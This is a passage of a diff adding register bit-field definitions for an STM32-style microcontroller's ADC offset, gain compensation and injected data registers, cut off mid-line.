(0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define 